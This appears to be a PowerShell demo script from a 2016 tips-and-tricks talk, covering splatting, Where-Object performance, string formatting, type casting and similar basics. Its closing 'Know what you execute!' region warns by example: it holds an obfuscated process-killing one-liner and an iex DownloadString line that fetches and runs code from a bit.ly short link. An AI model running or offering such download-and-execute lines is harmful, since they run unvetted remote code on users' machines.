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July 3, 2016 10:53
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PowerShell Unbound - Tips 'n Tricks - 06/2016
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| #region Prep | |
| $Files = Get-ChildItem d:\ -Recurse | |
| #endregion Prep | |
| #region Hex | |
| 0xfd | |
| #endregion Hex | |
| #region Location, location, location | |
| Push-Location 'D:\Methos' | |
| Push-Location 'C:\Windows\system32\WindowsPowerShell\v1.0\Modules' | |
| Pop-Location | |
| Pop-Location | |
| $MyInvocation.MyCommand.Path | |
| Push-Location 'C:\Users\Methos\Desktop\Events\Methos Methods\PowerShell Tips & Tricks\' | |
| .\test.ps1 | |
| Pop-Location | |
| #endregion Location, location, location | |
| #region Prompt | |
| function Prompt { | |
| "JeffWouters.nl > " | |
| } | |
| #endregion Prompt | |
| #region Splatting | |
| $Hash = @{ | |
| 'FilePath' = 'C:\windows\system32\ipconfig.exe' | |
| 'ArgumentList' = '/All' | |
| 'RedirectStandardOutput' = 'D:\test\ipconfig.txt' | |
| } | |
| #Start-Process -FilePath -ArgumentList -RedirectStandardOutput | |
| Start-Process @Hash | |
| #endregion Splatting | |
| #region Where | |
| $Files | Where-Object {$_.Name -like "*PowerShell*"} | |
| $Files | Where-Object {$PSItem.Name -like "*PowerShell*"} | |
| $Files | Where-Object Name -like "*PowerShell*" | |
| $Files.Where({$_.Name -like "*PowerShell*"}) | |
| measure-command {$Files | Where-Object {$_.Name -like "*PowerShell*"}} | Select-Object -ExpandProperty totalmilliseconds | |
| measure-command {$Files | Where-Object {$PSItem.Name -like "*PowerShell*"}} | Select-Object -ExpandProperty totalmilliseconds | |
| measure-command {$Files | Where-Object Name -like "*PowerShell*"} | Select-Object -ExpandProperty totalmilliseconds | |
| measure-command {$Files.Where($Name -like "*PowerShell*")} | Select-Object -ExpandProperty totalmilliseconds | |
| #endregion Where | |
| #region PSDrives | |
| Get-PSDrive | |
| Push-Location HKLM:\SOFTWARE | |
| Get-ChildItem | |
| Pop-Location | |
| #endregion PSDrives | |
| #region String formatting | |
| $Name = 'Jeff' | |
| $Event = 'MethosMethods' | |
| 'Hello, my name is $Name' | |
| "Hello, my name is $Name" | |
| 'Hello, my name is {0}' -f $Name | |
| 'Hello, my name is {0} and I am at $Event' -f $Name | |
| "Hello, my name is {0} and I am at $Event" -f $Name | |
| 'Hello, my name is {1} and it is {0:HH}:{0:mm} on {0:dd}-{0:MM}-{0:yyyy}' -f (Get-Date),$Name | |
| #endregion String formatting | |
| #region Formatting output | |
| Get-Process | Group-Object -Property Name | Sort-Object -Descending | Format-Table | |
| Get-Process | Group-Object -Property Name | Format-Table | Sort-Object -Descending | |
| #endregion Formatting output | |
| #region Variable squeezing | |
| $Procs = Get-Process | |
| ($Procs = Get-Process) | |
| #endregion Variable squeezing | |
| #region Passthru | |
| set-alias 'foo' 'Get-Process' | |
| foo | |
| set-alias 'foo' 'Get-Process' -PassThru | |
| Get-Command -ParameterName passthru | Measure-Object | |
| Get-Command -ParameterName passthru | |
| #endregion Passthru | |
| #region Type casting | |
| [int]$Int = 8 | |
| [string]$String = 'MethosMethods' | |
| $Int = 'MethosMethods' | |
| $Int.GetTypeCode() | |
| $String = 'one','two' | |
| $String | |
| $string.GetTypeCode() | |
| Remove-Variable Int,String | |
| $Int = [int]8 | |
| $String = [string]'MethosMethods' | |
| $Int = 'MethosMethods' | |
| $Int | |
| $Int.GetTypeCode() | |
| $String = 'one','two' | |
| $String | |
| $string.GetType() | |
| #endregion Type casting | |
| #region Music | |
| [console]::beep(440,500) | |
| [console]::beep(440,500) | |
| [console]::beep(440,500) | |
| [console]::beep(349,350) | |
| [console]::beep(523,150) | |
| [console]::beep(440,500) | |
| [console]::beep(349,350) | |
| [console]::beep(523,150) | |
| [console]::beep(440,1000) | |
| [console]::beep(659,500) | |
| [console]::beep(659,500) | |
| [console]::beep(659,500) | |
| [console]::beep(698,350) | |
| [console]::beep(523,150) | |
| [console]::beep(415,500) | |
| [console]::beep(349,350) | |
| [console]::beep(523,150) | |
| [console]::beep(440,1000) | |
| #endregion Music | |
| #region Don't name your variable Error | |
| Get-Variable Error | |
| Get-Variable | |
| #endregion Don't name your variable Error | |
| #region Red is scarry | |
| Get-Process -ComputerName fake | |
| (Get-Host).PrivateData | |
| (Get-Host).PrivateData.ErrorForegroundColor = 'Green' | |
| Get-Process -ComputerName fake | |
| #endregion Red is scarry | |
| #region Open Explorer in current path | |
| Push-Location 'C:\windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V\2.0.0.0' | |
| Get-Location | |
| start . | |
| Invoke-Item . | |
| ii . | |
| #endregion Open Explorer in current path | |
| #region Clipboard | |
| get-process *power* | clip | |
| get-command -Noun Clipboard | |
| #endregion Clipboard | |
| #region Dot sourcing | |
| ise 'C:\Users\Methos\Desktop\Events\Methos Methods\PowerShell Tips & Tricks\Functions.ps1' | |
| one | |
| . 'C:\Users\Methos\Desktop\Events\Methos Methods\PowerShell Tips & Tricks\Functions.ps1' | |
| one | |
| #endregion Dot sourcing | |
| #region Crtl-C & Crtl-V | |
| Start-Process powershell | |
| Start-Process cmd | |
| #endregion Ctrl-C & Ctrl-V | |
| #region Know what you execute! | |
| #Great on WinSrv12 SQL Servers! | |
| icm {gps *sv* | ? vm -gt 50 | % {spps $_ -f -WhatIf}} | |
| #region Explained | |
| invoke-command -ScriptBlock { | |
| Get-Process -Name *sv* | Where-Object {$_.vm -gt 50} | foreach { | |
| Stop-Process $_ -Force } } | |
| #endregion Explained | |
| #Found online | |
| iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") | |
| #endregion Know what you execute! |
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